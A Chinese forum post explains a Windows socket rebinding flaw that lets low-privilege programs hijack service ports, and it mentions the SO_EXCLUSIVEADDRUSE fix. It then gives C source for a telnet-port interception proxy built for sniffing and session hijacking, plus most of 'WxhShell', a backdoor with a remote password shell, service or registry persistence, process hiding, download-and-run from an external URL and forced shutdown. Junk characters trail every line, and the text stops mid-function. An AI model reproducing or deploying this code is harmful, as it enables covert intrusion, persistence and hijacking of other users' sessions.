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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VS&TA>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _Ob@`  
`|Or{ih  
  saddr.sin_family = AF_INET; !!o8N<NU  
1 n%?l[o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |] Qg7m,O  
_uJ"m8Tl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FaBqj1O1  
X<R?uI?L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jVH|uX"M5Y  
@X3{x\i'I  
  这意味着什么?意味着可以进行如下的攻击: [V 8{b{  
Nl' )l"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "}Me}S<  
%_Yx<wR%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2c/Ys4/H4]  
y ^;l*qq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _f6HAGDN  
C.kxQ<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~n/ $  
*SO{\bu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +t2SzQ j>  
U?!>Nd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O 1oxZj <  
vF?5].T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ 4;Ii  
qp}Ma8+  
  #include '<0J@^vZ  
  #include I=;+n-  
  #include lHZU iB  
  #include    ^GBe)~MT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nhN);R~o"1  
  int main() X";@T.ZGut  
  { w}{5#   
  WORD wVersionRequested; 5Q=P4w!'  
  DWORD ret; #oJ5k8Wy  
  WSADATA wsaData; d(:3   
  BOOL val; H'qG/@u-l  
  SOCKADDR_IN saddr; =YG _z^'  
  SOCKADDR_IN scaddr; <A9y9|>o  
  int err; >{ me  
  SOCKET s; %okzOKKX  
  SOCKET sc; X{kpSA~  
  int caddsize; KFZm`,+69  
  HANDLE mt; QKE9R-K TE  
  DWORD tid;   +-B^Z On  
  wVersionRequested = MAKEWORD( 2, 2 ); 6:% L![FX  
  err = WSAStartup( wVersionRequested, &wsaData ); zS< jd~  
  if ( err != 0 ) { 2Dd|~{%  
  printf("error!WSAStartup failed!\n"); r 6eb}z!i  
  return -1; v=95_l  
  }  8L*GE  
  saddr.sin_family = AF_INET; 8J)xzp`*)  
   ~}ET?Q7t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LJVG~Yeo  
A^2L~g[^Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); % },Pe  
  saddr.sin_port = htons(23); B4XZko(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  d^(1TNS  
  { CB~Q%QLG  
  printf("error!socket failed!\n"); *MI*Rz?4  
  return -1; S^Au#1e   
  } H[b}kZW:a  
  val = TRUE; }qjCTEs}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v_<2H' *Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RwVaZJe)l  
  { )wVIb)`R>Y  
  printf("error!setsockopt failed!\n"); :SV>+EDY   
  return -1; RmI1`  
  } {7Mj P+\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !,Zp? g)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^h &I H|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C>Is1i^9  
%c)[ kAU!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) saD-D2oj  
  { pb0E@C/R  
  ret=GetLastError(); -|Kzo_" v5  
  printf("error!bind failed!\n"); 8q)=  
  return -1; h O emt  
  } ?GBkqQ  
  listen(s,2); !jqWwi  
  while(1) U1_&gy @y  
  { [i]r-|_K  
  caddsize = sizeof(scaddr); \C 5%\4  
  //接受连接请求 $ OVXk'cc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xLZd!>C  
  if(sc!=INVALID_SOCKET) F\ctuaLC  
  { u-"c0@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -=698h*  
  if(mt==NULL) ]S 7^ITn  
  { 0J~Qq]g  
  printf("Thread Creat Failed!\n"); iq*A("pU  
  break; UofTll)  
  } ^zEE6i  
  } 6b~28  
  CloseHandle(mt); <:8,niKtw  
  } yg]2erR  
  closesocket(s); zdSh:  
  WSACleanup(); F~U!1)  
  return 0; ]TstSF=  
  }   IF*&%pB  
  DWORD WINAPI ClientThread(LPVOID lpParam) _y .]3JNm  
  { woq)\;CK  
  SOCKET ss = (SOCKET)lpParam; 5.tvB  
  SOCKET sc; _{~]/k  
  unsigned char buf[4096]; G%u9+XV1#  
  SOCKADDR_IN saddr; 8&V_$+U  
  long num; x|eeRf|  
  DWORD val; s~26  
  DWORD ret; @6o]chJo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 djT5 X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d77r9  
  saddr.sin_family = AF_INET; N_75-S7Cm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # fhEc;t  
  saddr.sin_port = htons(23); ^%y`u1ab  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N]5m(@h  
  { mCKk*5ws5"  
  printf("error!socket failed!\n"); b]gY~cbI8  
  return -1; 8Z85D  
  } f+vVR1  
  val = 100; *@V*~^V"J[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ix Z)tNz  
  { u}6v?!  
  ret = GetLastError(); w?csV8ot  
  return -1; !NKmx=I]  
  } OuIv e>8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EP7AP4  
  { %IBL0NQT  
  ret = GetLastError(); [;O^[Iybf:  
  return -1; (fo Bp  
  } o07IcIo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e,A)U5X  
  { YnV/M,U  
  printf("error!socket connect failed!\n"); gdj^df+2F  
  closesocket(sc); +?`b=6e(`  
  closesocket(ss); :u%$0p>  
  return -1; >CgO<\  
  } 6ew "fCrH!  
  while(1) 2H?d+6Pt3  
  { n"aCt%v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wX1ig  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E@ h y7X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l54|Q  
  num = recv(ss,buf,4096,0); FquFRx  
  if(num>0) Sav`%0q?7a  
  send(sc,buf,num,0); POU}/e!Ua  
  else if(num==0) . gZZCf&?  
  break; N b3$4(F  
  num = recv(sc,buf,4096,0); u}H$-$jE  
  if(num>0) 2pyt&'NJua  
  send(ss,buf,num,0); dYOF2si~%  
  else if(num==0) gp|1?L 54  
  break; #-u [$TA  
  } %6 =\5>  
  closesocket(ss); f1+qXMs  
  closesocket(sc); @Z\2*1y6  
  return 0 ; Qs+k)e,  
  } h5@j`{  
Fm j=  
g{pQ4jKF  
========================================================== 6*1$8G`$8,  
#A <1aQ  
下边附上一个代码,,WXhSHELL &A50'8B2A  
,&a`d}g&G  
========================================================== "2HY5 AE  
nbvkP  
#include "stdafx.h" {`.O|_b  
Pl~P-n  
#include <stdio.h> &+nRIv S_`  
#include <string.h> J l7z|QS  
#include <windows.h> M/jb}*xDR  
#include <winsock2.h> =L 0fZf  
#include <winsvc.h> ehO:')XF  
#include <urlmon.h> zsTbdF  
VfSGCe  
#pragma comment (lib, "Ws2_32.lib") "zV']A>4H  
#pragma comment (lib, "urlmon.lib") ?9U:g(v  
@Y' I,e  
#define MAX_USER   100 // 最大客户端连接数 /B HepD}  
#define BUF_SOCK   200 // sock buffer Di??Q_$ak  
#define KEY_BUFF   255 // 输入 buffer /! ^P)yU,  
~mILA->F  
#define REBOOT     0   // 重启 u2qV6/  
#define SHUTDOWN   1   // 关机 MguL$W&l  
c" Y!$'|Q  
#define DEF_PORT   5000 // 监听端口 8l xY]UT  
z<a2cQ?XQ  
#define REG_LEN     16   // 注册表键长度 ! sYf<  
#define SVC_LEN     80   // NT服务名长度 g_D-(J`IK,  
s'2Rs^,hN  
// 从dll定义API S=R 3"~p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); StM/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Jx7_T&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PvOC5b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P%GkcV  
Xm[Czd]%  
// wxhshell配置信息 $U'3MEEw  
struct WSCFG { `facFt[\  
  int ws_port;         // 监听端口 tjb/[RQ  
  char ws_passstr[REG_LEN]; // 口令 aV|k}H{wt  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Dv=p B,u  
  char ws_regname[REG_LEN]; // 注册表键名 3&J&^O  
  char ws_svcname[REG_LEN]; // 服务名 VJ1*|r,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q`loOm=y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 anx&Xj|=.F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q#rt<S1zW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IrO +5w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k46gY7y,9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9.Ap~Ay.  
OJ[rj`wrW^  
}; A +!sD5d  
+sn2Lw!^  
// default Wxhshell configuration <:cpz* G4  
struct WSCFG wscfg={DEF_PORT, iB{xvyR  
    "xuhuanlingzhe", UA0tFeH  
    1, YmCbxYa7  
    "Wxhshell", =K6c;  
    "Wxhshell", ta! V=U  
            "WxhShell Service", rUFFF'm\*a  
    "Wrsky Windows CmdShell Service", "#XtDpGk  
    "Please Input Your Password: ", y"R("j $  
  1, @DCJ}h ud  
  "http://www.wrsky.com/wxhshell.exe", g5TkD~w"  
  "Wxhshell.exe" a2 >[0_E  
    }; aiR5/ ZD  
.wri5  
// 消息定义模块 9[f%;WaS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o_:Qk;t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Su)|[/'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zv9M HC &  
char *msg_ws_ext="\n\rExit."; #J~Xv:LgD  
char *msg_ws_end="\n\rQuit."; & >b+loF  
char *msg_ws_boot="\n\rReboot..."; _sm;HH7'*  
char *msg_ws_poff="\n\rShutdown..."; 4Bo<4 4-,  
char *msg_ws_down="\n\rSave to "; C "9"{  
Mryn>b`cB  
char *msg_ws_err="\n\rErr!"; : ~'Z(-a  
char *msg_ws_ok="\n\rOK!"; S2}Z&X(  
ZV#$Z  
char ExeFile[MAX_PATH]; p)z-W(  
int nUser = 0; `G0*l|m>  
HANDLE handles[MAX_USER]; #[,= 1Od(q  
int OsIsNt; V(I7*_ZFl  
=jG?v'X  
SERVICE_STATUS       serviceStatus; G:hU{S7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r:#Q9EA  
uri*lC  
// 函数声明 =WjJN Q  
int Install(void); 5l&jPk!=  
int Uninstall(void); 4[_L=zD  
int DownloadFile(char *sURL, SOCKET wsh); cI3KB-lM#  
int Boot(int flag); GMT or  
void HideProc(void); AI R{s7N  
int GetOsVer(void); _y-B";Vmm  
int Wxhshell(SOCKET wsl); -Qg,99M  
void TalkWithClient(void *cs); wzxdVn 'S  
int CmdShell(SOCKET sock); iRouLd  
int StartFromService(void); rV U:VL`2  
int StartWxhshell(LPSTR lpCmdLine); 9C?cm:  
To^# 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R%W@~o\p]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OT%V{hD  
x~Pvh+O  
// 数据结构和表定义 6mAB(X^+  
SERVICE_TABLE_ENTRY DispatchTable[] =  9^p32G  
{ @jKDj]\  
{wscfg.ws_svcname, NTServiceMain}, ~ ;XYwQ"  
{NULL, NULL} >Pyc[_j  
}; a.CF9m5]c  
D8EeZUqU  
// 自我安装 ,P!D-MN$V  
int Install(void) bm^X!i5  
{ CX.SYr&!R  
  char svExeFile[MAX_PATH]; SLg+H  
  HKEY key; 1h{>[ 'L  
  strcpy(svExeFile,ExeFile); \"J?@  
Gb?g,>C  
// 如果是win9x系统,修改注册表设为自启动 uX98iJ  
if(!OsIsNt) { P!9;} &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $wgc vySx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E0T&GR@.  
  RegCloseKey(key);  ?;+^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p}&Md-$1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y]<#%Fh  
  RegCloseKey(key); Wge ho  
  return 0; Ia'x]#~  
    } u8^Y,LN  
  } W?=$V>)  
} 7|K3WuLL  
else { 7}A5u,.,ht  
=g >.X9lr  
// 如果是NT以上系统,安装为系统服务 0K/G&c?;=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]L$4P y  
if (schSCManager!=0) "I@v&(Am;  
{ CJm.K  
  SC_HANDLE schService = CreateService prwC>LE  
  ( P3i^S_  
  schSCManager, ia_Z\q  
  wscfg.ws_svcname, TbMdQbj}  
  wscfg.ws_svcdisp, !5? m  
  SERVICE_ALL_ACCESS, ?Q;kZmQl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f.J 9) lfb  
  SERVICE_AUTO_START, TZ:34\u   
  SERVICE_ERROR_NORMAL, \WiqN*ZF  
  svExeFile, -.^3;-[  
  NULL, ,%[LwmET  
  NULL, 0hFH^2%UY  
  NULL, |>Z&S=\I)  
  NULL, Z@}sCZ=#A  
  NULL abL/Y23 "  
  ); FOc|*>aKP  
  if (schService!=0) 2YE7 23H=Z  
  { 3IGCl w(  
  CloseServiceHandle(schService); :fRmUAK%  
  CloseServiceHandle(schSCManager); Q js2hj-$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sf=F cb  
  strcat(svExeFile,wscfg.ws_svcname); n>br,bQe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6g}^Q?cpV#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L+8=P<]  
  RegCloseKey(key); UlnyTz~  
  return 0; ;i.I&*t  
    } l<W*/}3  
  } lxo.,n)  
  CloseServiceHandle(schSCManager); .\Ul!&y  
} c6t2Q6zV  
} >6OCKl  
sTt9'P`  
return 1; >_-!zjO8u  
} ``+c`F?5  
 NvUu.  
// 自我卸载 ud yAP>  
int Uninstall(void) : #3OcD4  
{ ~B<97x(X  
  HKEY key; 09G9nu;&{  
SOhSg]g  
if(!OsIsNt) { c[&d @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LE8K)i  
  RegDeleteValue(key,wscfg.ws_regname); w~4 z@/^"p  
  RegCloseKey(key); =x=1uXQv5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yQ8M >H#J  
  RegDeleteValue(key,wscfg.ws_regname); ;&If9O 1  
  RegCloseKey(key); :-w@^mli  
  return 0; #m[vn^8B]y  
  } 4g>1G qv6  
} jo<>Hc{g>  
} ;0;3BH A  
else { f9vcf# 2  
Yr5iZ~V$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {EOn r1  
if (schSCManager!=0) C5>{Q:.`e'  
{ j\!~9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y_$^:LG  
  if (schService!=0) -Uzc"Lx B  
  { M`)s>jp@w  
  if(DeleteService(schService)!=0) { >sn"   
  CloseServiceHandle(schService); 4xv9a;fP  
  CloseServiceHandle(schSCManager); wDB)&b  
  return 0; |~z8<  
  } *Hx j_  
  CloseServiceHandle(schService); \nC5 ,Rz  
  } uFGv%W  
  CloseServiceHandle(schSCManager); ? UxG/]",  
} BO8%:/37[4  
} cC b>zI  
^Yf3"D?&  
return 1; w/qQ(]n8  
} uG2Xkj  
ARmu{cL  
// 从指定url下载文件 BXT 80a\  
int DownloadFile(char *sURL, SOCKET wsh) n"XdHW0  
{ Tq9,c#}&  
  HRESULT hr; 8o!  
char seps[]= "/"; )WaX2uDA?  
char *token; _u#/u2<  
char *file; Qe7" Z  
char myURL[MAX_PATH]; <dq,y>  
char myFILE[MAX_PATH]; R"m.&%n  
'wCS6_K  
strcpy(myURL,sURL); -$AjD?;   
  token=strtok(myURL,seps); 0\V\qAk  
  while(token!=NULL) uOyLC<I/  
  { )o05Vda  
    file=token; (xucZ  
  token=strtok(NULL,seps); &W&7bZ$;  
  } K.:6YXVs<  
;[?J5X,  
GetCurrentDirectory(MAX_PATH,myFILE); |hu"5*  
strcat(myFILE, "\\"); 2v"wWap-+  
strcat(myFILE, file); (nkUeQQN  
  send(wsh,myFILE,strlen(myFILE),0); _ pY   
send(wsh,"...",3,0); + #|'|}j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;6DR .2}?>  
  if(hr==S_OK) p6<E=5RRd1  
return 0; d [\>'>  
else wlm3~B\64  
return 1; ;e&hM\p  
Q.j-C}a  
} 3m-edpH  
1h#w"4  
// 系统电源模块 I'KR'1z 9  
int Boot(int flag) R=2 gtW"r  
{ ^JYF1   
  HANDLE hToken; #n U@hOfg  
  TOKEN_PRIVILEGES tkp; Wwn5LlJ^  
0z#l0-NdQ  
  if(OsIsNt) { k$9Gn9L%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2N6Pa(6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [{6&.v  
    tkp.PrivilegeCount = 1; vG'vgUo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &M!4]p ow  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nG&w0de<>  
if(flag==REBOOT) { T+ &x{+gZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h1Ke$#$6  
  return 0; B| $\/xO  
} U92B+up-  
else { f9h:"Dnzin  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OlD7-c2L]  
  return 0; Ktg&G<%J0  
} 5*G8W\ $  
  } Y;a6:>D%cT  
  else { J,dG4.ht  
if(flag==REBOOT) { }M"-5K}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r?Ev.m  
  return 0; `~w%Jf  
} J ,Qy`Y B  
else { ]pM5?^<~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q1N,^71  
  return 0; a}^!TC>%1i  
} 4aIlzaA  
} |R_xY=z?  
Li?{e+g  
return 1; 6E*Zj1KX  
} Q%gY.n{=  
~2, wI<Nz  
// win9x进程隐藏模块 Og&0Z)%  
void HideProc(void) ZI#SYEF6  
{ \K4CbZ,.  
IkE'_F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ve64-D  
  if ( hKernel != NULL ) PuUon6bZ  
  { F M@W>+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ie$fMBIq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;X9MA=b  
    FreeLibrary(hKernel); xX/Qoq (}i  
  } o'= [<  
2vW,.]95M  
return; e+]YCp[(  
} (rY1O:*S  
Oy?iAQ+  
// 获取操作系统版本 LyCV_6;D  
int GetOsVer(void) R'1vjDuv  
{ -\sKSY5{R  
  OSVERSIONINFO winfo; z=8_%r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X*p:&=o  
  GetVersionEx(&winfo); #nMP (ShK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hg86#jq%  
  return 1; #!<+:y'S?  
  else %r}KvJgd  
  return 0; V, "AG  
} \fQgiX  
1W6n[Xg  
// 客户端句柄模块 &H p\("  
int Wxhshell(SOCKET wsl) 9X^-)G>  
{ J^<j=a|D  
  SOCKET wsh; |)>GeE  
  struct sockaddr_in client; ><Mbea=U+  
  DWORD myID; q4IjCu+  
)}zA,FOA*  
  while(nUser<MAX_USER) W4] 0qp`\  
{ 0ghwFo  
  int nSize=sizeof(client); se*pkgWbz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XQ|j5]  
  if(wsh==INVALID_SOCKET) return 1; ggYIq*4  
e[py J.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F4aJr%!\6S  
if(handles[nUser]==0) Zj /H3,7  
  closesocket(wsh); *FG4!~<e  
else A.'`FtV  
  nUser++; Y9(i}uTi  
  } brhJ&|QDE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y&O_Jyg<  
wxr}*Z:ZMa  
  return 0; YM4U.! 4o  
} %y^ Kw  
})=c:h &  
// 关闭 socket s-YV_  
void CloseIt(SOCKET wsh) _o=`-iy9  
{ g275{2G9  
closesocket(wsh); ,~68~_)  
nUser--; 5x L,~"  
ExitThread(0); D3 Ea2}8  
} {<V|Gr  
y O9pEO|W  
// 客户端请求句柄 m`4j|5  
void TalkWithClient(void *cs) & /FA>  
{ 0%L$TJ.''  
EXM/>PG  
  SOCKET wsh=(SOCKET)cs; {7MgN'4  
  char pwd[SVC_LEN]; :-jP8X  
  char cmd[KEY_BUFF]; mm9S#Ya  
char chr[1]; cB{;Nh6"  
int i,j; o@V/37!  
B2+_F"<;  
  while (nUser < MAX_USER) { q~A|R   
uS+b* :  
if(wscfg.ws_passstr) { fqp7a1qQl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FK,r<+h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0BU:(o&  
  //ZeroMemory(pwd,KEY_BUFF); h"%,eW|^  
      i=0; CI ]U)@\U  
  while(i<SVC_LEN) { AXv3jH,HF  
7*8nUq  
  // 设置超时 j2&OYg  
  fd_set FdRead; :r|P?;t(  
  struct timeval TimeOut; p`V9+CA  
  FD_ZERO(&FdRead); j?` D\LZhf  
  FD_SET(wsh,&FdRead); ?9.?w-Q'  
  TimeOut.tv_sec=8; @X / =.  
  TimeOut.tv_usec=0; :$@zX]?M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _\V{X}ftqa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sT8kVN|Uv  
%Zi,nHg8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |D_n4#X7u  
  pwd=chr[0]; OsuSx^}  
  if(chr[0]==0xd || chr[0]==0xa) { iegPEb  
  pwd=0; U},W/g-  
  break; %li{VDb  
  } PYRwcJ$b\d  
  i++; *g_>eNpXD  
    } dL Py%q  
R=f5:8D<-  
  // 如果是非法用户,关闭 socket 9bYHb'70  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Boz_*l|  
} O9 r44ww  
?Pf ,5=*B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |H I A[.q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kys-~&@+  
53#5p;k  
while(1) { L?5t <`#lw  
rEyMSLN  
  ZeroMemory(cmd,KEY_BUFF); W2V@\  
,DsT:8  
      // 自动支持客户端 telnet标准   y"n~ET}e7  
  j=0; X!'Xx8  
  while(j<KEY_BUFF) { (Y?yGq/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M)It(K8R  
  cmd[j]=chr[0]; mi3q1npb7[  
  if(chr[0]==0xa || chr[0]==0xd) { 8XXTN@&,  
  cmd[j]=0; iDe0 5f1R  
  break; A}+r;Y8[h  
  } O&1p2!Bk4  
  j++; A=>6$L];'  
    } Y+PxV*"a  
f;I"tugO  
  // 下载文件 R(#;yn  
  if(strstr(cmd,"http://")) { KuAGy*:4T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /]UNN~(  
  if(DownloadFile(cmd,wsh)) R}YryzV5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m=b+V#4i(  
  else (W6\%H2u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H0:6zSsc=|  
  } Kd21:|!t^  
  else { {+59YO  
81 Not  
    switch(cmd[0]) { o ieLh"$  
  ^hTJp{  
  // 帮助 p_ y*-,W (  
  case '?': { tg4&j$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %bETr"Xom  
    break; )%W2XvG  
  } 8U$UI  
  // 安装 ~w% +y  
  case 'i': { v\T1,Z@N^  
    if(Install()) \YyU5f7';  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gI$`d?[0{  
    else z?g4^0e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^E,Uc K;  
    break; "s^@PzQpN  
    } .Zm }  
  // 卸载 J*k=|+[  
  case 'r': { >I ; #BE3  
    if(Uninstall()) B_1u<00kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0pG(+fN_9  
    else "lya|;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .=<pU k 3G  
    break; BNUf0;  
    } aPMM:RP`  
  // 显示 wxhshell 所在路径 %}MM+1eu  
  case 'p': { )O'<jwp$  
    char svExeFile[MAX_PATH]; %5w)}|fw  
    strcpy(svExeFile,"\n\r"); yL,B\YCf8  
      strcat(svExeFile,ExeFile); z{_Vn(Kg   
        send(wsh,svExeFile,strlen(svExeFile),0); T+( A7Qrx%  
    break; -B! TA0=oJ  
    } k18V4ATE]  
  // 重启 vK/Z9wR*05  
  case 'b': { WWz ns[$f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oMf h|B  
    if(Boot(REBOOT)) )^xmy6k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1a4$. {  
    else { !0_Y@>2  
    closesocket(wsh); q&x#S_!  
    ExitThread(0); JB}h }nb  
    } WWs>@lCK  
    break; LB0=V0|  
    } 2)]*re)  
  // 关机 [^P2Kn  
  case 'd': { {[#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !7|9r$  
    if(Boot(SHUTDOWN)) BE;iC.rW  
